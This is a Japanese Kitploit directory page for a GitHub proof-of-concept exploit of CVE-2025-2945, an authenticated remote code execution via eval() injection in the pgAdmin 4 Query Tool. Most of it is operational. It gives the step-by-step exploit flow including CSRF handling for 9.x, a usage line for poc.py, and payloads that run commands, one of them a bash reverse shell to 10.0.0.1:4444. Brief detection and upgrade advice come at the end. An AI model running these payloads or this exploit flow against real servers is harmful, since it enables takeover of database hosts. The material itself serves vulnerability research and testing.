Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-2945-pgadmin-rce — pgAdmin 4 (8.10–9.1) の Query Tool における eval() インジェクションを介した認証済みRCE。これは pgAdmin 9.x の認証変更に対する互換性修正を施した、更新版 PoC です。 | Kitploit
ツール/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

pgAdmin 4 (8.10–9.1) の Query Tool における eval() インジェクションを介した認証済みRCE。これは pgAdmin 9.x の認証変更に対する互換性修正を施した、更新版 PoC です。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-2945 — pgAdmin 4 クエリツールの認証済みRCE

CVE-2025-2945 の概念実証です。これは pgAdmin 4 における重大なリモートコード実行の脆弱性です。

影響を受けるバージョン: 8.10 から 9.1
修正版: 9.2 (2025年4月4日リリース)
CVSS v3.1: 9.9 (緊急)


概要

pgAdmin 4 クエリツールは、query_commited パラメータを受け入れ、それをサニタイズなしで Python 組み込みの eval() に直接渡すエンドポイントを公開しています。認証済みの攻撃者は、このパラメータを介して任意の Python コードを送信し、pgAdmin サービスアカウントでサーバー側に実行させることができます。

脆弱なエンドポイントは次のとおりです:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

JSON ボディ内の query_commited フィールドは、サーバー上で Python コードとして評価されます。


技術的分析

根本原因

9.2 より前の pgAdmin 4 バージョンでは、クエリツールのダウンロードハンドラがユーザー指定の入力に対して eval() を呼び出します:

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

入力検証、サンドボックス化、許可リストは一切適用されません。有効な Python 式はすべて pgAdmin プロセスの権限で実行されます。

エクスプロイトの流れ

  1. 認証 — 資格情報を /authenticate/login に POST し、セッション Cookie と CSRF トークンを取得する
  2. sqleditor の初期化 — データベース資格情報を /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> に POST し、クエリツールセッションを確立する
  3. サーバー ID の探索 — /sqleditor/get_server_connection/<sgid>/<sid> に GET リクエストを送り、data.status == true を返すまで ID を繰り返し試行する
  4. eval のトリガー — {"query_commited": "<python payload>"} を /sqleditor/query_tool/download/<trans_id> に POST し、実行を確認する 500 レスポンスを受け取る

CSRF トークンの処理 (pgAdmin 9.x)

古い pgAdmin バージョンでは、CSRF トークンは非表示の <input> フィールドまたは Cookie に埋め込まれていました。バージョン 9.x では React SPA アーキテクチャに移行し、トークンは /login ページの window.renderSecurityPage() 呼び出し内に JSON として埋め込まれます:

root@kitploit:~
"csrfToken": "<token value>"

トークンはセッションスコープ (Flask-WTF / itsdangerous) であるため、最初の GET /login で取得したトークンはセッション全体を通して有効で、後続のすべての API 呼び出しに再利用できます。

ログインエンドポイントの変更

pgAdmin 9.x はログインルートを分割しました:

  • GET /login — ログインページを表示する (CSRF トークンを含む)
  • POST /authenticate/login — 資格情報を処理する

/login に直接 POST する古い PoC は、9.x インスタンスでは 404 または 405 を受け取ります。


要件

  • Python 3.7+
  • 有効な pgAdmin 資格情報 (任意の認証済みユーザー)
  • pgAdmin に登録されたサーバーの有効なデータベース資格情報
root@kitploit:~
pip install requests faker

使用方法

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

引数

Argument説明
--rhost対象ホスト名または IP (スキームなし)
--rport対象ポート (デフォルト: 80)
--usernamepgAdmin ログインメールアドレス
--passwordpgAdmin ログインパスワード
--db-userPostgreSQL ユーザー名
--db-passPostgreSQL パスワード
--db-nameデータベース名
--payloadサーバー上で評価する Python 式
--max-server-idプローブする最大サーバー ID (デフォルト: 10)

ペイロードの例

コマンド実行:

root@kitploit:~
--payload "__import__('os').system('id')"

リバースシェル:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

検出

  • /sqleditor/query_tool/download/ からの予期しない HTTP 500 レスポンス
  • pgAdmin プロセスが子プロセス (シェル、curl、wget) を起動する
  • pgAdmin ホストから未知の IP への外部接続

緩和策

pgAdmin 4 バージョン 9.2 以降にアップグレードしてください。


参照

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

免責事項

このリポジトリは教育および許可されたテスト目的のみに提供されます。所有していないシステム、または明示的なテスト許可がないシステムに対して使用しないでください。

ツールをダウンロード